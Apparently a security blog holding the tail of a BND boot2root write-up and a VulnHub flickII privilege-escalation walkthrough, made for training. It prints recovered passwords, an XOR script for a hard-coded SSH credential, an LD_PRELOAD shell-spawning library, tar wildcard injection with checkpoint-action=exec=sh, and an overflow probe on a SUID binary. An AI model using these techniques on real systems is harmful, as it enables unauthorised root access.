Goal 3: What kind of stolen data was parked on the Server? (Kevin, was this you… ?)

Bildschirmfoto 2017-03-02 um 23.56.19.png

  • What data was stored on the hacked Server?
  • How were the data disguised?
  • Name the flag!

The Obvious Data on the server seems to be cleartext passwords:

root@debian:/home/hackedData# ls
ls
flagImage.jpg hackedPasswords.txt
root@debian:/home/hackedData# head hackedPasswords.txt
head hackedPasswords.txt
password
123456
12345678
1234
qwerty
12345
dragon
pussy
baseball
football

Kevin Mitnick called, he wants his KungFu back!

The Flag seems to be a decoy:

Bildschirmfoto 2017-03-02 um 22.26.24.png

I already checked if the jpeg has more than one magic header but that this not the case.

Also there were two potential root passwords stored in “/home/root”:

root@debian:/home/root# ls -la
ls -la
total 16
drwx---r-- 2 root root 4096 Nov 23 13:11 .
drwxr-xr-x 5 root root 4096 Nov 23 13:26 ..
-rwx------ 1 root root 21 Nov 23 13:11 root_pw
-rwx------ 1 root root 22 Nov 23 12:57 Rul0rzZrootPw
root@debian:/home/root# cat root_pw
cat root_pw
2Has21sjJ0w3/?dee82H
root@debian:/home/root# cat Rul0rzZrootPw
cat Rul0rzZrootPw
JDWbwz334aawefHHwf/)2

Turns out the second is the new root password (see question 2):

Bildschirmfoto 2017-03-03 um 00.05.19.png

 

Conclusion:

This was a fun but pretty easy challenge.
I guess i could still be missing the real flag which might be the real forensics challenge :-D

As for the skill level this is way easier than most PWK / OSCP machines.

However I enjoyed it and think its cool the BND uses this as a job entry challenge. I hope they sign every new employee up for PWK afterwards! :)

Now do I want to work for the BND?
Only if they post me on Hawaii and the weather is like in movies! :)

 

Posted in boot2root, miscellaneous | Tagged , , , , | 6 Comments

vulnhub: flickII – to the root – walkthrough part2

This Post continues Part 1 of my flickII walkthrough!

In the last post I showed how I was able to get a reverse shell using the flick-check-dist.apk and its API.
In this post I will conclude the walkthrough by demonstrating how I became root.

How to become robin

As I got the reverse shell in context of nginx, I first used standard privesc techniques to search for accessible files, go through the websites sourcecode and look for other obvious issues that could help me elevate privileges.

After checking the obvious stuff / low hanging fruits I retruned to the APK Sourcecode because of a Feature of the APK I noticed earlier:

ssh-failed

 

Use Secure Access – However enabling the function just displays an error and no HTTP request can be intercepted using burp.

So back to the source code it is!

After digging around a bit i found the responsible function:

ssh-functionSo SSHCommand()! The APK tries to speak SSH to the Server. However the initial Portscan showed that SSH was not listening so thats probably why Secure Access Failed!

A quick google search also revealed that jsch is a complete Java implementation of SSH v2:

jcraft-jsch

 

So lets follow the SSHCommand() function:

sshcommand

 

So it indeed is trying to establish an SSH Session and even better: with hard coded credentials!

The username is easy: “robin”

The password was a bit trickier! The SSH Password of the User “robin” is the result of the function call: CommandActivity.validate(text)

text in turn contains the b64 decode of the integrity_check string:

integrity-check

 

Now lets take a look at the validate function:

validate

 

So the b64 decode of the integrity_check variable is xored with the string inside the key string!

After doing a quick stackoverflow programming lesson I had a simple python xor script thrown together:

 #!/usr/bin/python

import base64

b64string = "YFhaRBMNFRQDFxJEFlFDExIDVUMGEhcLAUNFBVdWQGFeXBIVWEsZWQ=="

strinput = base64.b64decode(b64string)
key = "This is a super secret message!"
output = ""

def xor_strings(s,t):
 """xor two strings together"""
 return "".join(chr(ord(a)^ord(b)) for a,b in zip(s,t))

print xor_strings(base64.b64decode(b64string), key)

And the Output:

 root@kali:~/vulnhub/flickII# ./xor1.py 
40373df4b7a1f413af61cf7fd06d03a

So lets try to escalate to robin in the reverse shell:

sufail

Fail! :-(

But this has to work! One thing that bothered me right away was the length of the strings!

So 3 extra lines of python showed me the length of each string:

print len(xor_strings(key, base64.b64decode(b64string)))

print len(key)

print len(base64.b64decode(b64string))

Lets take a look:

root@kali:~/vulnhub/flickII# ./xor2.py 
31
31
40

So the xor only goes as far as the shorter string!

Lets take a look again how the APK handles this:

 for (int i = 0; i < input.length(); i++) {
      output.append((char) (input.charAt(i) ^ key[i % key.length]));

So the APK is doing some kind of modulo magic on the position of the string key!  I was to lazy to figure that out in my head so I just programmed the same in python:

#!/usr/bin/python

import base64

b64string = "YFhaRBMNFRQDFxJEFlFDExIDVUMGEhcLAUNFBVdWQGFeXBIVWEsZWQ=="

#print repr(base64.b64decode(b64string))
strinput = base64.b64decode(b64string)
key = "This is a super secret message!"
output = ""

def xor_strings(s,t):
 """xor two strings together"""
 return "".join(chr(ord(a)^ord(b)) for a,b in zip(s,t))


for i in range (0,len(strinput)):
 output += xor_strings(strinput[i],key[i % len(key)])

print output
print len(output)

And the Result:

root@kali:~/vulnhub/flickII# ./xor_strings.py 
40373df4b7a1f413af61cf7fd06d03a565a51898
40

Lets test this as a password for robin:

robin

LD_PRELOAD for the win \o/

Good practice with every new user on a linux system is to check their sudo rights:

sudominuslnotworkingOh noes! no real titty!

This can be solved by spawning a new bash via python using:

python -c 'import pty; pty.spawn("/bin/bash")'

So lets try again:

sudo-l

There we found the dice before we knew we needed it!

But I also found /home/robin/debug.gpg

cat debug.gpg
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dude,

I know you are trying to debug this stupid dice thing, so I figured the below
will be useful?

[...]
__libc_start_main(0x555555554878, 1, 0x7fffffffe508, 0x5555555548e0 <unfinished ...>
getenv("LD_PRELOAD") = nil
rand() = 1804289383
__printf_chk(1, 0x555555554978, 0x6b8b4567, 0x7ffff7dd40d4) = 22
__cxa_finalize(0x555555754e00, 0, 0, 1) = 0x7ffff7dd6290
+++ exited (status 0) +++Dice said: 1804289383
[...]

Lemme know!

- --
Sean
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJVsSXBAAoJEF+jiAi1AwtOqd8P/3L19JE2BFA/xHvUyb/rWdIc
fKVZUCHb7oHFrwXavfagY4gm2ssLwOLNX0a1/DGqEwS8MjaQmW5s31iEulqUQjX9
+8NGJpaKOL2rp+cVD57VCsQSstkEJtlwK5WgrsInUz8FH06N0I/d3b3GqckFBzND
jpBSBib3CyL1LOoEvc0ThKMUT/AdvIwC+t4fldx8o+YOLEGoZuCzWOM6KNysmTCa
wqAsCaNMpavn+2hPy2liozZfRyBo4mmLVKY3tcnHC+ntlPaDi7ENG3Xc5RSHYyA7
BFcIPNPTZsh9QEdCF0A/s3A349SZ4rimkQkqOOeoHfrMTKPaCmX/N3jJ9q05+Ccg
56xR9WsYTgwwb6qZ3PEzFQ5pXcKwaLAmCLxFxW/X76z7rmVI0GsqnkXAd16R/VDy
nLlUIMq0HrldSZ15VVikR3CMm3SRkrx6PlzCQ2cCTtRXGfiOPqN1lDmReYjKbCYo
DkvQi0zhD7Ow6m5w8NPAUXplhDEGK2mTrL9qWvZfin5JKLW3ZWSBqPw6jVitwAJm
Ej9wlMcb32lzmzrC45tH/U+Kq/M7cTYCIU3xYcL1URAK8IWn2fMZgmmepAR+QT0S
MgAHhbJmRhzA98KxCtgR0RXrKPeIwSfxOJi7Yx16GSLKYPhCQn8YRzxpmPp0h5Yd
7Zo/oh0FA+3WWsmYfa7I
=jvfO
-----END PGP SIGNATURE-----

Good thing I have used LD_PRELOAD in the past and recognized it instantly!

Lets take a closer look at the “sudo -l” output again:

Matching Defaults entries for robin on this host:
requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", env_keep+=LD_PRELOAD,
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User robin may run the following commands on this host:
(bryan) /usr/local/bin/dice

So I can pass LD_PRELOAD as an environment variable and run the dice as user bryan.

That sounds like a classic LD_PRELOAD Privesc technique!

If youre not familiar with the LD_PRELOAD technique google it quickly or read up on this well written post of it.

Basically the idea is to inject a library (.so) that will execute my code as the user who is running the binary (bryan thanks to sudo).

So lets start with the SO file:

#include <stdlib.h>

// spwan a bash in context of bryan instead of generating random number

int rand(){
 system("/bin/bash"); 
 return 0;
}

 

This should drop me into a bash instead of giving me a fake random number!

Lets download, and compile this as an .so file:

curl http://192.168.0.56/flick2.c -o flick2.c

gcc -shared -fPIC flick2.c -o /tmp/flick2.so

I put the output in /tmp because it needs to be at a place that the user bryan can read!

Now lets try to run it:

ldpreloadiddntwork

So this did not work…

But I am sure it must work somehow… At this point I got stuck and took a peek at rasta_mouse’s walkthrough of flickII ;-)

With that I got it working quickly and afterwards he even was so kind and explain to me as why it did not work.

Here we go:

Remember the /home/robin/debug.gpg:

head debug.gpg
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Dude,

I know you are trying to debug this stupid dice thing, so I figured the below
will be useful?

[...]
__libc_start_main(0x555555554878, 1, 0x7fffffffe508, 0x5555555548e0 <unfinished ...>
getenv("LD_PRELOAD") = nil

The last line prevents LD_PRELOAD to be passed to the binary!

The solution is to also overwrite the getenv() function! :-D

#include <stdlib.h>

// overwrite getenv() function so that it cant prevent usage of LD_PRELOAD

char *getenv(const char *name){
 return 0;
}
// spwan a bash in context of bryan instead of generating random number

int rand(){
 system("/bin/bash"); 
 return 0;
}

So lets try this again:

hustonwegotbryan

Huston we got bryan \o/

Life of Bryan

With an privesc checker script I ran in the beginning I found 2 Interesting SUID files:

[+] SUID/SGID Files and Directories
 drwxr-sr-x 3 root systemd-journal 60 Dec 27 13:04 /run/log/journal
 drwxr-sr-x 2 root systemd-journal 60 Dec 27 13:04 /run/log/journal/9b5855bbd2204da88ff236bfdace60da
 -r-xr-sr-x. 1 root tty 15344 Jun 10 2014 /usr/bin/wall
 -rwxr-sr-x. 1 root tty 19536 May 12 2015 /usr/bin/write
 -rwsr-xr-x. 1 root root 64200 Mar 6 2015 /usr/bin/chage
 -rwsr-xr-x. 1 root root 78168 Mar 6 2015 /usr/bin/gpasswd
 -rwsr-xr-x. 1 root root 41752 Mar 6 2015 /usr/bin/newgrp
 -rwsr-xr-x. 1 root root 44232 May 12 2015 /usr/bin/mount
 -rws--x--x. 1 root root 23960 May 12 2015 /usr/bin/chfn
 -rws--x--x. 1 root root 23856 May 12 2015 /usr/bin/chsh
 -rwsr-xr-x. 1 root root 32064 May 12 2015 /usr/bin/su
 -rwsr-xr-x. 1 root root 31960 May 12 2015 /usr/bin/umount
 -rwsr-xr-x. 1 root root 27656 Jun 9 2014 /usr/bin/pkexec
 -rwsr-xr-x. 1 root root 57536 Jul 30 2014 /usr/bin/crontab
 ---s--x--x. 1 root root 130720 Mar 6 2015 /usr/bin/sudo
 ---x--s--x. 1 root nobody 293832 May 12 2015 /usr/bin/ssh-agent
 -rwsr-xr-x. 1 root root 27832 Jun 10 2014 /usr/bin/passwd
 -rwsr-xr-x. 1 root root 11208 Mar 6 2015 /usr/sbin/pam_timestamp_check
 -rwsr-xr-x. 1 root root 36264 Mar 6 2015 /usr/sbin/unix_chkpwd
 -rwxr-sr-x. 1 root root 11208 Mar 6 2015 /usr/sbin/netreport
 -rwsr-xr-x. 1 root root 11272 Mar 6 2015 /usr/sbin/usernetctl
 -rwxr-sr-x. 1 root postdrop 218552 Jun 10 2014 /usr/sbin/postdrop
 -rwxr-sr-x. 1 root postdrop 259992 Jun 10 2014 /usr/sbin/postqueue
 -rwsr-xr-x. 1 root root 15416 Jun 9 2014 /usr/lib/polkit-1/polkit-agent-helper-1
 -rwsr-x---. 1 root dbus 318384 Mar 6 2015 /usr/lib64/dbus-1/dbus-daemon-launch-helper
 -rwx--s--x. 1 root utmp 11192 Jun 10 2014 /usr/libexec/utempter/utempter
 ---x--s--x. 1 root ssh_keys 457312 May 12 2015 /usr/libexec/openssh/ssh-keysign
 -rwsr-x---. 1 sean bryan 8830 Jul 2 2015 /usr/local/bin/backup
 -rwsr-x--- 1 root sean 866169 Aug 15 2015 /usr/local/bin/restore 

/usr/local/bin/backup belongs to sean:bryan and is suid!

lets run file on it:

[bryan@fII tmp]$ file /usr/local/bin/backup

/usr/local/bin/backup: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xc3cbb4476467a324fd93e428225dbedb5df5e2d3, not stripped

Dang a binary and not an easily readable script!

So lets run it through strace:

[bryan@fII tmp]$ strace /usr/local/bin/backup

execve("/usr/local/bin/backup", ["/usr/local/bin/backup"], [/* 21 vars */]) = 0
brk(0) = 0x555555756000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff9000
open("/tmp/flick2.so", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\6\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0775, st_size=8036, ...}) = 0
mmap(NULL, 2101304, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7bd9000
mprotect(0x7ffff7bda000, 2093056, PROT_NONE) = 0
mmap(0x7ffff7dd9000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0) = 0x7ffff7dd9000
close(3) = 0
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=22781, ...}) = 0
mmap(NULL, 22781, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7ff3000
close(3) = 0
open("/lib64/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\34\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=2107760, ...}) = 0
mmap(NULL, 3932736, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff7818000
mprotect(0x7ffff79ce000, 2097152, PROT_NONE) = 0
mmap(0x7ffff7bce000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b6000) = 0x7ffff7bce000
mmap(0x7ffff7bd4000, 16960, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7bd4000
close(3) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff2000
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff0000
arch_prctl(ARCH_SET_FS, 0x7ffff7ff0740) = 0
mprotect(0x7ffff7bce000, 16384, PROT_READ) = 0
mprotect(0x7ffff7dd9000, 4096, PROT_READ) = 0
mprotect(0x555555754000, 4096, PROT_READ) = 0
mprotect(0x7ffff7ffc000, 4096, PROT_READ) = 0
munmap(0x7ffff7ff3000, 22781) = 0
setresuid(1002, 1002, 1002) = -1 EPERM (Operation not permitted)
setresgid(1002, 1002, 1002) = -1 EPERM (Operation not permitted)
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 4), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7ff8000
write(1, " * Securing environment\n", 24 * Securing environment
) = 24
write(1, " * Performing database backup..."..., 33 * Performing database backup...
) = 33
rt_sigaction(SIGINT, {SIG_IGN, [], SA_RESTORER, 0x7ffff784d650}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], SA_RESTORER, 0x7ffff784d650}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0x7fffffffe9d0) = 3878
wait4(3878, app/
app/.gitignore
database.sqlite
framework/
framework/cache/
framework/cache/.gitignore
tar (child): /home/sean/backup_20161227.tar.gz: Cannot open: Permission denied
tar (child): Error is not recoverable: exiting now

Aha! tar! I can smell where this is going!

To get the next part I had to peek at other writeups again ;-)

But eventually I got this right:

 sh-4.2$ strace -s 999 -v -f /usr/local/bin/backup 2>&1 | grep execve
strace -s 999 -v -f /usr/local/bin/backup 2>&1 | grep execve
execve("/usr/local/bin/backup", ["/usr/local/bin/backup"], ["TAR_SUBCOMMAND=-c", "TAR_FORMAT=gnu", "HOSTNAME=fII.local", "SHELL=/bin/bash", "TERM=unknown", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "USER=bryan", "TAR_BLOCKING_FACTOR=20", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/spool/mail/robin", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "TAR_CHECKPOINT=1", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=8", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/strace"]) = 0
[pid 3913] execve("/bin/sh", ["sh", "-c", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin; cd /usr/share/nginx/serverchecker/storage; /bin/tar -zvcf /home/sean/backup_$(/bin/date +\"%Y%m%d\").tar.gz *;"], ["TAR_SUBCOMMAND=-c", "TAR_FORMAT=gnu", "HOSTNAME=fII.local", "SHELL=/bin/bash", "TERM=unknown", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "USER=bryan", "TAR_BLOCKING_FACTOR=20", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/spool/mail/robin", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "TAR_CHECKPOINT=1", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=8", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/strace"]) = 0
[pid 3915] execve("/bin/date", ["/bin/date", "+%Y%m%d"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/date"]) = 0
[pid 3916] execve("/bin/tar", ["/bin/tar", "-zvcf", "/home/sean/backup_20161227.tar.gz", "app", "--checkpoint=1", "--checkpoint-action=exec=sh", "database.sqlite", "framework", "logs"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = 0
[pid 3918] execve("/bin/sh", ["/bin/sh", "-c", "sh"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = 0
[pid 3918] execve("/bin/sh", ["sh"], ["TAR_SUBCOMMAND=-c", "TAR_FORMAT=gnu", "HOSTNAME=fII.local", "SHELL=/bin/bash", "TERM=unknown", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "USER=bryan", "TAR_BLOCKING_FACTOR=20", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/spool/mail/robin", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "_=/bin/sh", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "TAR_CHECKPOINT=1", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=10", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000"]) = 0
[pid 3919] execve("/usr/local/bin/gzip", ["gzip"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = -1 ENOENT (No such file or directory)
[pid 3919] execve("/bin/gzip", ["gzip"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "HOSTNAME=fII.local", "TERM=unknown", "SHELL=/bin/bash", "HISTSIZE=1000", "LD_PRELOAD=/tmp/flick2.so", "OLDPWD=/usr/share/nginx/serverchecker/storage", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/spool/mail/robin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20161227.tar.gz", "SHLVL=9", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = 0

Let me explain the strace options:

strace -s 999 -v -f /usr/local/bin/backup 2>&1 | grep execve

-s strsize -- limit length of print strings to STRSIZE chars (default 32)

-> the output of the arguemtents would be cut off without this!

-v -- verbose mode: print unabbreviated argv, stat, termios, etc. args

-> prints all args

-f -- follow forks, -ff -- with output into separate files

-> follows all forking processes which is needed in this case

Now lets look at this part again:

[pid 3913] execve("/bin/sh", ["sh", "-c", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin; cd /usr/share/nginx/serverchecker/storage; /bin/tar -zvcf /home/sean/backup_$(/bin/date +\"%Y%m%d\").tar.gz *;"],

So its cd’ing into:

/usr/share/nginx/serverchecker/storage

and then doig a “tar … *

Sounds like someone is going wild with wildcards!

seanitisRead the linked paper above if you don’t understand what just happened!

Been there sean that

Whats the counterpart to /usr/local/bin/backup?
/usr/local/bin/restore of course!

Lets take a look at that folder again:

[sean@fII bin]$ ls -lisah
ls -lisah
total 2.0M
 33554623 0 drwxr-xr-x. 2 root root 59 Aug 17 2015 .
 188 4.0K drwxr-xr-x. 12 root root 4.0K Jun 22 2015 ..
 33554598 12K -rwsr-x---. 1 sean bryan 8.7K Jul 2 2015 backup
 68148501 1.1M -rwxr-xr-x. 1 root root 1.1M Jun 22 2015 composer
 34598952 12K -rwx--x--x. 1 root root 8.7K Jul 2 2015 dice
101716415 848K -rwsr-x--- 1 root sean 846K Aug 15 2015 restore

A root suid binary!

Lets analyze it a bit closer: 1. Normal behavior:

[sean@fII bin]$ restore

Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
/tmp/
Path is: /tmp/
Enter the output directory: /tmp
/tmp
Output directory is: /tmp
This is a beta, run the following command for now: 
/bin/sh -c "/usr/bin/tar xf /tmp/backup.tar.gz -C /tmp database.sqlite"
You are currently running this tool as: 
uid=0(root) gid=0(root) groups=0(root),1001(bryan),1002(sean)

A closer look with file:

[sean@fII bin]$ file restore

restore: setuid ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=0x0768c7f84a21b18fa6e6779730ef0fa5d7161706, not stripped

Lets try to overflow the Manual input:

[sean@fII bin]$ restore
restore
Restore tool v0.1
Enter the path to the backup.tar.gz: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa is invalid. Directory names need to end with a /
[sean@fII bin]$ restore
restore
Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
/tmp/
Path is: /tmp/
